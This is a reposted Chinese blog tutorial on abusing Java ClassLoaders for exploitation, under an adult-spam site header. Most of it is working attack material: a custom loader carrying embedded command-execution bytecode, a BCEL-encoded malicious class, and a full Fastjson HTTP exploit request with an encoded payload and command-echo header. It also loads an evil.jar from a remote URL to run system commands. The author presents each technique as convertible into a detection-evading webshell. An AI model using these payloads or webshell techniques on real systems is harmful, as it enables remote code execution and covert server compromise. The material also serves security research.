日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > java >内容正文

java

Java代码审计: ClassLoader应用

發布時間:2023/12/10 java 45 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Java代码审计: ClassLoader应用 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

0x00 前提

首先說明一下為啥要搞這個?

1、挖洞

比如挖洞的時候遇到反序列化,一般都是cc回顯是將構造的回顯類塞進TemplatesImpl中,如果禁用了就得找其他的方法,一般都是找ClassLoader的子類,并且實現defineClass的類。

2、webshell對抗

類似于冰蝎的webshell也是使用自定義的ClassLoader,下面講的方法都可以轉化為webshell,這種特征都不臺明顯,有一定的迷惑性。

3、漏洞利用

還是在漏洞回顯方面的問題,一般多利用 TemplatesImpl 和BECL 可以直接塞入payload直接攻擊,比如常見的fastjson

總的來說用的場景還是蠻多的,比較實用的。

0x01 Java類基本使用

Java是編譯型語言

Java是一個底層是一個JVM(Java虛擬機)驅動實現的跨平臺的開發語言。

1、Java程序在運行前需要先編譯成class文件。

2、Java類初始化的時候會調用java.lang.ClassLoader加載類字節碼

3、ClassLoader會調用JVM(defineClass0/defineClass1/defineClass2)native方法來定義一個實例。

(native方法就是本地方法,底層是C寫的了,我們在代碼層就看不到了)

ClassLoader

一切的Java類都必須經過JVM加載后才能運行,而ClassLoader的主要作用就是Java類文件的加載。

ClassLoader類有如下核心方法:

  • loadClass(加載指定的Java類)
  • findClass(查找指定的Java類)
  • findLoadedClass(查找JVM已經加載過的類)
  • defineClass(定義一個Java類)
  • resolveClass(鏈接指定的Java類)
  • ClassLoader類加載流程

    引用園長的文章,寫的很好了:

    理解Java類加載機制并非易事,這里我們以一個Java的HelloWorld來學習ClassLoader。

    ClassLoader加載com.anbai.sec.classloader.TestHelloWorld類重要流程如下:

  • ClassLoader會調用public Class<?> loadClass(String name)方法加載com.anbai.sec.classloader.TestHelloWorld類。
  • 調用findLoadedClass方法檢查TestHelloWorld類是否已經初始化,如果JVM已初始化過該類則直接返回類對象。
  • 如果創建當前ClassLoader時傳入了父類加載器(new ClassLoader(父類加載器))就使用父類加載器加載TestHelloWorld類,否則使用JVM的Bootstrap ClassLoader加載。
  • 如果上一步無法加載TestHelloWorld類,那么調用自身的findClass方法嘗試加載TestHelloWorld類。
  • 如果當前的ClassLoader沒有重寫了findClass方法,那么直接返回類加載失敗異常。如果當前類重寫了findClass方法并通過傳入的com.anbai.sec.classloader.TestHelloWorld類名找到了對應的類字節碼,那么應該調用defineClass方法去JVM中注冊該類。
  • 如果調用loadClass的時候傳入的resolve參數為true,那么還需要調用resolveClass方法鏈接類,默認為false。
  • 返回一個被JVM加載后的java.lang.Class類對象。
  • 0x02 自定義ClassLoader

    自定義ClassLoader

    java.lang.ClassLoader是所有的類加載器的父類,所以我們要實現一個自定義的ClassLoader加載器就可以直接繼承就好。然后重寫了findClass或defineClass者方法就好了

    下面寫一個自定義加載器實現命令執行。

    首先寫一個簡單的命令執行方法:

    package com.classloader;import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.nio.charset.StandardCharsets;public class Command {public BufferedReader execute(String args) {String command = args;String osName = System.getProperty("os.name"); //if (osName.startsWith("Windows")) {command = "calc";}else if (osName.startsWith("Linux")) {command = "curl dnslog.com";}else {try {Process process = Runtime.getRuntime().exec(command);// 獲取命令執行結果InputStream in = process.getInputStream();//取得命令結果的輸出流InputStream inputStream = process.getInputStream();//用一個讀輸出流類去讀InputStreamReader isr = new InputStreamReader(inputStream, StandardCharsets.UTF_8);//用緩沖器讀行BufferedReader br = new BufferedReader(isr);return br;} catch (IOException e) {e.printStackTrace();}}return null;}}

    實驗時要注意,測試的時候要把寫好的Command代碼都注釋了再進行類加載。

    因為如果這個類存在于我們的classpath中,就會直接調用了,不會進入我們的自定義類加載器中!

    只有注釋了,這個類不存在了才會進入自定義類加載器重寫findClass方法,然后在調用defineClass方法,然后去調用native方法加載這個傳入的類。

    下面是例示代碼

    ZeoClassLoader示例代碼:

    package com.classloader;import java.io.BufferedReader; import java.lang.reflect.Constructor; import java.lang.reflect.Method;public class ZeoClassLoader extends ClassLoader {// 要加載的類名public static String TEST_CLASS_NAME = "com.classloader.Command";// 要加載的類字節碼public static byte[] TEST_CLASS_BYTES = new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, 96, 10, 0, 20, 0, 51, 8, 0, 52, 10, 0, 53, 0, 54, 8, 0, 55, 10, 0, 56, 0, 57, 8, 0, 58, 8, 0, 59, 8, 0, 60, 10, 0, 61, 0, 62, 10, 0, 61, 0, 63, 10, 0, 64, 0, 65, 7, 0, 66, 9, 0, 67, 0, 68, 10, 0, 12, 0, 69, 7, 0, 70, 10, 0, 15, 0, 71, 7, 0, 72, 10, 0, 17, 0, 73, 7, 0, 74, 7, 0, 75, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 25, 76, 99, 111, 109, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 67, 111, 109, 109, 97, 110, 100, 59, 1, 0, 7, 101, 120, 101, 99, 117, 116, 101, 1, 0, 44, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 59, 1, 0, 7, 112, 114, 111, 99, 101, 115, 115, 1, 0, 19, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 2, 105, 110, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 11, 105, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 3, 105, 115, 114, 1, 0, 27, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 59, 1, 0, 2, 98, 114, 1, 0, 24, 76, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 59, 1, 0, 1, 101, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 59, 1, 0, 4, 97, 114, 103, 115, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 7, 99, 111, 109, 109, 97, 110, 100, 1, 0, 6, 111, 115, 78, 97, 109, 101, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 76, 7, 0, 72, 1, 0, 16, 77, 101, 116, 104, 111, 100, 80, 97, 114, 97, 109, 101, 116, 101, 114, 115, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 12, 67, 111, 109, 109, 97, 110, 100, 46, 106, 97, 118, 97, 12, 0, 21, 0, 22, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 77, 12, 0, 78, 0, 79, 1, 0, 7, 87, 105, 110, 100, 111, 119, 115, 7, 0, 76, 12, 0, 80, 0, 81, 1, 0, 22, 99, 97, 108, 99, 32, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48, 49, 50, 51, 52, 53, 54, 55, 1, 0, 5, 76, 105, 110, 117, 120, 1, 0, 20, 99, 117, 114, 108, 32, 108, 111, 99, 97, 108, 104, 111, 115, 116, 58, 57, 57, 57, 57, 47, 7, 0, 82, 12, 0, 83, 0, 84, 12, 0, 85, 0, 86, 7, 0, 87, 12, 0, 88, 0, 89, 1, 0, 25, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 7, 0, 90, 12, 0, 91, 0, 92, 12, 0, 21, 0, 93, 1, 0, 22, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 12, 0, 21, 0, 94, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 95, 0, 22, 1, 0, 23, 99, 111, 109, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 67, 111, 109, 109, 97, 110, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 115, 116, 97, 114, 116, 115, 87, 105, 116, 104, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 33, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 83, 116, 97, 110, 100, 97, 114, 100, 67, 104, 97, 114, 115, 101, 116, 115, 1, 0, 5, 85, 84, 70, 95, 56, 1, 0, 26, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 67, 104, 97, 114, 115, 101, 116, 59, 1, 0, 50, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 67, 104, 97, 114, 115, 101, 116, 59, 41, 86, 1, 0, 19, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 82, 101, 97, 100, 101, 114, 59, 41, 86, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 0, 33, 0, 19, 0, 20, 0, 0, 0, 0, 0, 2, 0, 1, 0, 21, 0, 22, 0, 1, 0, 23, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 24, 0, 0, 0, 6, 0, 1, 0, 0, 0, 9, 0, 25, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 26, 0, 27, 0, 0, 0, 1, 0, 28, 0, 29, 0, 2, 0, 23, 0, 0, 1, 61, 0, 4, 0, 9, 0, 0, 0, 98, 43, 77, 18, 2, -72, 0, 3, 78, 45, 18, 4, -74, 0, 5, -103, 0, 9, 18, 6, 77, -89, 0, 76, 45, 18, 7, -74, 0, 5, -103, 0, 9, 18, 8, 77, -89, 0, 61, -72, 0, 9, 44, -74, 0, 10, 58, 4, 25, 4, -74, 0, 11, 58, 5, 25, 4, -74, 0, 11, 58, 6, -69, 0, 12, 89, 25, 6, -78, 0, 13, -73, 0, 14, 58, 7, -69, 0, 15, 89, 25, 7, -73, 0, 16, 58, 8, 25, 8, -80, 58, 4, 25, 4, -74, 0, 18, 1, -80, 0, 1, 0, 38, 0, 88, 0, 89, 0, 17, 0, 3, 0, 24, 0, 0, 0, 62, 0, 15, 0, 0, 0, 11, 0, 2, 0, 12, 0, 8, 0, 14, 0, 17, 0, 15, 0, 23, 0, 17, 0, 32, 0, 18, 0, 38, 0, 21, 0, 47, 0, 23, 0, 54, 0, 25, 0, 61, 0, 27, 0, 75, 0, 29, 0, 86, 0, 31, 0, 89, 0, 33, 0, 91, 0, 34, 0, 96, 0, 38, 0, 25, 0, 0, 0, 102, 0, 10, 0, 47, 0, 42, 0, 30, 0, 31, 0, 4, 0, 54, 0, 35, 0, 32, 0, 33, 0, 5, 0, 61, 0, 28, 0, 34, 0, 33, 0, 6, 0, 75, 0, 14, 0, 35, 0, 36, 0, 7, 0, 86, 0, 3, 0, 37, 0, 38, 0, 8, 0, 91, 0, 5, 0, 39, 0, 40, 0, 4, 0, 0, 0, 98, 0, 26, 0, 27, 0, 0, 0, 0, 0, 98, 0, 41, 0, 42, 0, 1, 0, 2, 0, 96, 0, 43, 0, 42, 0, 2, 0, 8, 0, 90, 0, 44, 0, 42, 0, 3, 0, 45, 0, 0, 0, 17, 0, 4, -3, 0, 23, 7, 0, 46, 7, 0, 46, 14, 114, 7, 0, 47, 6, 0, 48, 0, 0, 0, 5, 1, 0, 41, 0, 0, 0, 1, 0, 49, 0, 0, 0, 2, 0, 50};@Overridepublic Class<?> findClass(String name) throws ClassNotFoundException {// 只處理 x類if (name.equals(TEST_CLASS_NAME)) {// 調用JVM的native去加載 x類return defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);}return super.findClass(name);}public static void main(String[] args) {// 創建自定義的classloaderZeoClassLoader loader = new ZeoClassLoader();try {// 使用自定義的類加載器加載x類Class testClass = loader.loadClass(TEST_CLASS_NAME);// 獲取構造方法Constructor constructor = testClass.getDeclaredConstructor();constructor.setAccessible(true);// 反射實例化,等價于 Command t = new Command();Object runtimeInstance = constructor.newInstance();// 反射獲取 execute 方法Method method = testClass.getMethod("execute", String.class);// 反射調用 execute 方法, 等價于 t.execute(cmd);BufferedReader br = (BufferedReader) method.invoke(runtimeInstance, "whoami");// 讀取結果String line=null;while ((line=br.readLine())!=null){System.out.println(line);}} catch (Exception e) {e.printStackTrace();}}}

    再然后就把這個重新封精簡一些,寫到jsp那不就是個webshell了嗎

    0x03 BCEL

    BCEL ClassLoader

    BCEL(Apache Commons BCEL?)是一個用于分析、創建和操縱Java類文件的工具庫。

    BCEL的類加載器在解析類名時,會對ClassName中有$$BCEL$$標識的類名做特殊處理,導致惡意加載類。

    BCEL攻擊原理

    當BCEL的加載一個類名中帶有$$BCEL$$的類時,會截取出前面的$$BCEL$$后面的字符串,然后使用com.sun.org.apache.bcel.internal.classfile.Utility#decode這個方法把后面的將字符串解析成類字節碼,所以我們可以把惡意類轉化成這種形式,最后會調用defineClass加載惡意類,達到攻擊效果

    BCEL版本

    Oracle JDK引用了BCEL庫,不過修改了原包名

    org.apache.bcel.util.ClassLoader為com.sun.org.apache.bcel.internal.util.ClassLoader

    適用于BCEL 6.0以下

    DK版本為:JDK1.5 - 1.7、JDK8 - JDK8u241、JDK9。

    利用示例

    寫個命令執行的方法看看

    利用BCELClassLoader加載惡意類,實現命令執行

    package com.bcel;import org.apache.bcel.classfile.Utility; import org.apache.bcel.util.ClassLoader;public class BCELClassLoader {public static void bcel() throws Exception {// 創建BCEL類加載器ClassLoader classLoader = new ClassLoader();// BCEL編碼類字節碼String className = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85TmS$hU$Y$3d$97$bc$ec$b2$y$q$qB$J$f5$r$a8m$D$b4$89$d6jk$8a$a8$8dE$90$A5$a1P$daj$e7fs$L$5b7$bb$99$dd$8d$d2$9f$e2$_$e8$e7$fa$B$3av$c6$l$e0$3f$f2$83$8eg$93$94$UI$c7L$e6$d9$7d$ce$f3$7e$9e$bb$f7$cf$7f$7e$ff$D$c05$3c20$85$8fu$5c$d5$f1$89A$fdS$j$9f$Z$b8$8e$h$3a$3e$d7Q$d6q$d3$c0$S$be$88$c4$b2$81$_$f1$95$86$afGq$L$V$D$e3$f8F$c3m$Di$ach$f8$d6$40$G$ab$g$d64$7c$t$90$5c$b2$5d$3b$5c$W$88$V$e6w$E$e2$V$af$a9$ERU$dbU$9b$9dVC$f9$db$b2$e1$Q$c9T$3dK$3a$3b$d2$b7$p$bd$P$c6$c3$D$3b$88l$96$d7$w5$y$e5$94$w$5e$ab$r$dd$e6M$B$7d$c9r$fa$a9$b5$b6$efY$w$a0g$b6$faD$fe$yK$8et$f7Kwz$m$5dGlW$60$aag$b2$bd$d2$9a$db$ee$84$f5$d0W$b2E$e3$98$3dP$d9$a5$j$f8$C$e7$87$f9$d6$94l$w$3fJ$d7$a0$cb$cc$89$cb$ad$ce$e3$c7$caW$cd$T$bbP$a7$aam$dd$3e$b4T$3b$b4$3d$976$cd$ea$N$Q$N5h$95$Flw$9f$e6$a4$Xl$ca$W$e3$c7$eb$a1$b4$7e$da$90$ed$$$T$g$d6$c9$ab$80Q$f7$3a$be$a5V$ec$88$i$b3$cfE1$cacb$g$e7$E$a6$bd$b6r$f3Wd$be$o$j$ab$e3$c8$d0$f3$8b$b2$ddf$5d$_$u$ba$cc$ac$a1jb$D$9bDvm$b7$e9$fd$S0$b7$89$z$dc$n$db$5c$80$r$90$e0n$3a$87$Ci$ab$e3$3b$f9$a6$h8$de$7e1Z$80$86$efM$d4P7$b1$8d$bb$gvL$ec$e2$9e$40$ee$8d$5ci$d83q$l$P$a2$e6$k$b2$b9$e1$8cE$d6$l$b8$ba$n$84$99$f81$9a$w$fd$df$f5$T$g$90$b7$d5x$a2$ac$f0$U$d4$e3$f34$f44$I$V$X$3c$b6$afB$9e$8c$b6$f2$c3$a7$C$X$Lg$b70$3fl1F$QJ$3f$Mv$ed$f0$80$cb$j$Wu_$60r$80$d6$3anhG$8b4X$efD$99$w$bc$9e$bc$P3$7b$5c$j$w2$7f$e9$7f$ba$Z$9c$e8$c93$a0$c0$E$x$ad$bd$7e$96$cf$bd$aav$e6$cc$cfua$97$b8u$m$fd$40$85$acFZ$a5$df$ac$f4t$a6K$dc$dd$5eytC$60$b6z$c6$b9$ef$c4DW$LC$x$bc9$q$ba$D$b2$83$a0$fe7$T$a1$a96$e7$N$bb$c7$7e$db$97$96$c2$i$de$e2$85$U$fdF$m$a2$e3M9C$ad$c4$a7$e03$b1p$M$f1$bck$ceQ$s$bb$e0$uf$v$cd$9e$D$ce$e3m$3eu$bc$f3$wX$5c$40$i$g$b1$87$99$91$f5L$ec$F$e2$d5$c5L$e2$I$c9_1$9a$d1$d6$9fae1$a3$f7$d5Q$aa$d7_$c0X8$c2$d8$c6$e5$p$98$9b$91$u$c7_b$7c$_$X$ff$N$T$c7H$95$T$_$91$de$cb$r$8e1YN$3e$83$k$f9e$9f$b3$d6$r$d4$b1$c3$7b0$d6$edm$Z$v$ca1j$e3$ec0E$3c$cdn2$i1K$cfi$8e4$c3$Lw$We$f6$bb$8aw$Z$fb$3e$a3$f3$fc$be$e6$f0$A$X$bb3$d58G$J$l$d2$fa$k$t$beF$99$a75$c6$98$i$bd$e78$d7$w$x$7c$40$8f$E$e3$81$L$8cK2C$9c$V$K$8c$88$e1$k$e6$b1$d0$e5$a8$86E$be$J$5c$a6$96E$fco$cch$b8$c2$ff$84$ab$a1$f8$XC$EKE$c4$7e$f4$_$af$pH$dd$k$G$A$A";Class<?> clazz = Class.forName(className, true, classLoader);System.out.println(clazz);}public static void main(String[] args) throws Exception {bcel();}}

    成功執行

    同理,改成jsp格式的,也是一個webshell。

    0x04 BCEL Fastjson 應用

    在fastjson中主要是通過 org.apache.commons.dbcp.BasicDataSource類來出發BECL的類加載器

    首先發送payload:

    1、FastJson自動調用setter方法修改org.apache.commons.dbcp.BasicDataSource類的driverClassName和driverClassLoader值

    其中 driverClassName 是經過BCEL編碼后的類字節碼 driverClassLoader 是一個由FastJson創建的org.apache.bcel.util.ClassLoader 實例。

    在自動setter之后,并沒有觸發漏洞,只是注入了類名和類加載器。

    導致命令執行就在于FastJson會自動調用getter方法的getConnection()方法

    org.apache.commons.dbcp.BasicDataSource本沒有connection成員變量,但有一個getConnection()方法

    當getConnection()方法被調用時就會使用注入進來的org.apache.bcel.util.ClassLoader類加載器加載注入進來惡意類字節碼

    命令執行帶回顯

    POST / HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/json cmd: whoami Content-Length: 3651{"xx":{"@type" : "java.lang.Class","val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"},"x" : {"name": {"@type" : "java.lang.Class","val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"com.alibaba.fastjson.JSONObject","c": {"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"}} : "xxx"} }

    還有就是,在Oracle JDK默認也引用了Xalan利用TemplatesImpl這個也行,但是這個要求更多,原理類似但是需要開啟SupportNonPublicField特性,比較麻煩就不寫了。

    0x05 URLclassloader

    URLClassLoader

    URLClassLoader繼承了ClassLoader的一個子類

    URLClassLoader一看名字就是知道可以遠程加載,在漏洞利用的時候可以加載遠程的jar來實現遠程的類方法調用。

    利用示例:

    編譯打包jar:

    javac Evil.java jar -cvf evil.jar Evil.class

    惡意類:

    //注意這里可以不使用包名 //import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader;public class Evil {String res;public Evil() {}public static String exec(String var0) throws IOException {StringBuilder var1 = new StringBuilder();BufferedReader var2 = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(var0).getInputStream()));String var3;while((var3 = var2.readLine()) != null) {var1.append(var3).append("\n");}return var1.toString();}public String toString() {return this.res;} }

    起一個http服務,把jar放上去,保證可以遠程請求到

    package com.urlclassloader;import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.net.URL;public class URLClassLoader {public static void main(String[] args) {try {// 定義遠程加載的jar路徑URL url = new URL("http://127.0.0.1/evil.jar");// 創建URLClassLoader對象,并加載遠程jar包java.net.URLClassLoader ucl = new java.net.URLClassLoader(new URL[]{url});// 定義需要執行的系統命令String cmd = "whoami";// 通過URLClassLoader加載遠程jar包中的Evil類Class cmdClass = ucl.loadClass("Evil");// 調用Evil類中的exec方法String out = (String) cmdClass.getMethod("exec", String.class).invoke(null, cmd);// 輸出命令執行結果System.out.println(out);} catch (Exception e) {e.printStackTrace();}}}

    成功執行

    0x06 實驗環境

    可以直接參考這個,是我實驗環境

